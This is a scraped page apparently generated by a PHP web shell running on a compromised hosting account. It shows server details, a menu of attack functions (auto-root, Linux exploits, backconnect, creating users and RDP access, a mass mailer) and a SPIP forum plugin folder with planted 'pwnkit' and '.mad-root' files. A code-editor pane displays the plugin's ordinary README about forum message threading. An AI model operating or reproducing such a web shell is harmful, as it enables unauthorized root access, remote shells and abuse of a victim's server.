Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
plugins-dist /
forum /
[ HOME SHELL ]
Name
Size
Permission
Action
action
[ DIR ]
drwx---r-x
balise
[ DIR ]
drwx---r-x
base
[ DIR ]
drwx---r-x
formulaires
[ DIR ]
drwx---r-x
inc
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
modeles
[ DIR ]
drwx---r-x
notifications
[ DIR ]
drwx---r-x
prive
[ DIR ]
drwx---r-x
public
[ DIR ]
drwx---r-x
urls
[ DIR ]
drwx---r-x
.gitattributes
232
B
-rw----r--
.gitignore
92
B
-rw----r--
.mad-root
0
B
-rw-r--r--
CHANGELOG.md
2.34
KB
-rw----r--
README.md
3.25
KB
-rw----r--
TODO.md
862
B
-rw----r--
composer.json
718
B
-rw----r--
forum_administrations.php
4.37
KB
-rw----r--
forum_autoriser.php
9.05
KB
-rw----r--
forum_fonctions.php
2.47
KB
-rw----r--
forum_ieconfig.php
1.36
KB
-rw----r--
forum_pipelines.php
13.64
KB
-rw----r--
paquet.xml
2.06
KB
-rw----r--
phpcs.xml.dist
388
B
-rw----r--
phpstan-baseline.neon
32.54
KB
-rw----r--
phpstan.neon.dist
166
B
-rw----r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# Plugin Forum Ce plugin gère des forums privés et publics dans SPIP ## Modèle de données Pour expliquer la façon dont le plugin __forum__ stocke les messages de forums, prenons la conversation suivante : * à 12:53, envoi du message `msg A` * à 13:44, envoi du message `msg B` * à 14:27, envoi d'une réponse au premier message : `[Re] msg A` * à 18:12, envoi d'une réponse à cette réponse : `[Re] [Re] msg A` ### Table `spip_forum` dans la base de données Les données sont stockées dans la table `spip_forum`, avec un message par ligne. La conversation donnera donc la table suivante (on ne montre que les champs principaux) : | `id_forum` | `id_parent` | `id_thread` | `date_heure` | `date_thread` | `texte` | | ---------- | ----------- | ----------- | ------------ | ------------- | ------- | | 1 | 0 | 1 | 12:53 | 18:12 | msg A | | 2 | 0 | 2 | 13:44 | 13:44 | msg B | | 3 | 1 | 1 | 14:27 | 18:12 | [Re] msg A | | 4 | 3 | 1 | 18:12 | 18:12 | [Re] [Re] msg A | Détaillons un peu le rôle de chaque champ : | champ | description | | ----- | ----------- | | `id_forum` | identifiant du message | | `id_parent` | identifiant du message parent pour les réponses, ou 0 si c'est le premier message | | `id_thread` | identifiant du premier message d'un thread | | `date_heure` | heure du message (format un peu simplifié pour faire court) | | `date_thread` | heure du dernier message du thread | A noter également les deux champs `id_objet` et `objet` qui indiquent l'objet auquel le message est attaché (ex: `id_objet = 3` et `objet = article` pour un message de forum dans l'article numéro 3). ### Relations entre `id_forum`, `id_parent` et `id_thread` ``` msg A id_forum = 1 <---------+ id_parent = 0 | id_thread = 1 ---------+ | [Re] msg A | id_forum = 3 <----+ | id_parent = 1 ----|----+ id_thread = 1 ----|----+ | | [Re] [Re] msg A | | id_forum = 4 | | id_parent = 3 ----+ | id_thread = 1 ---------+ msg B id_forum = 2 <----+ id_parent = 0 | id_thread = 2 ----+ ``` ### Relations entre `date_heure` et `date_thread` : ``` msg A date_heure = 12:53 date_thread = 18:12 ----+ | [Re] msg A | date_heure = 12:53 | date_thread = 18:12 ----+ | [Re] [Re] msg A | date_heure = 18:12 <----+ date_thread = 18:12 ----+ msg B date_heure = 13:44 <----+ date_thread = 13:44 ----+ ```
Close